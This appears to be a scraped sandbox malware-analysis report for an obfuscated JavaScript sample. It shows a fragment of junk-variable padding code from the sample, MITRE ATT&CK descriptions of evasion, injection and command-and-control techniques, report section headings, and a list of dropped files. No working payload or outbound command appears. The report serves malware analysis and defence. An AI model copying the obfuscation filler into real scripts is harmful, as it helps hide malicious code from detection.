1278	dfvkvn = "W";
1279	vtxqz = "y";
1280	vtxqz = "v";
1281	vtxqz = "P";
1282	vtxqz = "I";
1283	vtxqz = "x";
1284	vtxqz = "z";
1285	vtxqz = "N";
1286	vtxqz = "Y";
1287	vtxqz = "b";
1288	vtxqz = "e";
1289	vtxqz = "O";
1290	vtxqz = "y";
1291	vtxqz = "V";
1292	vtxqz = "P";
1293	vtxqz = "g";
1294	vtxqz = "L";
1295	vtxqz = "G";
1296	vtxqz = "J";
1297	vtxqz = "q";
1298	vtxqz = "n";
1299	gxqvzok = "i";
1300	gxqvzok = "x";
1301	gxqvzok = "w";
1302	gxqvzok = "l";
1303	gxqvzok = "d";
1304	gxqvzok = "g";
1305	gxqvzok = "y";
1306	gxqvzok = "O";
1307	gxqvzok = "C";
1308	gxqvzok = "O";
1309	onizberly = "w";
1310	onizberly = "F";
1311	onizberly = "k";
1312	onizberly = "l";
1313	onizberly = "W";
1314	onizberly = "f";
1315	onizberly = "z";
1316	onizberly = "p";
1317	onizberly = "Q";
1318	onizberly = "t";
1319	onizberly = "R";
1320	onizberly = "Q";
1321	onizberly = "L";
1322	onizberly = "W";
1323	onizberly = "J";
1324	onizberly = "T";
1325	onizberly = "N";
1326	onizberly = "f";
1327	onizberly = "d";
1328	onizberly = "Z";
1329	onizberly = "F";
1330	onizberly = "i";
1331	onizberly = "J";
1332	onizberly = "I";
1333	onizberly = "X";
1334	onizberly = "E";
1335	onizberly = "D";
1336	onizberly = "t";
1337	onizberly = "S";
1338	onizberly = "H";
1339	onizberly = "q";
1340	onizberly = "s";
1341	onizberly = "R";
1342	onizberly = "j";
1343	xyjip ( );	xyjip() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 739144331377016921.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\29e5ebf1-a2f3-499f-a30c-1095259da21a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5000

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
739144331377016921.js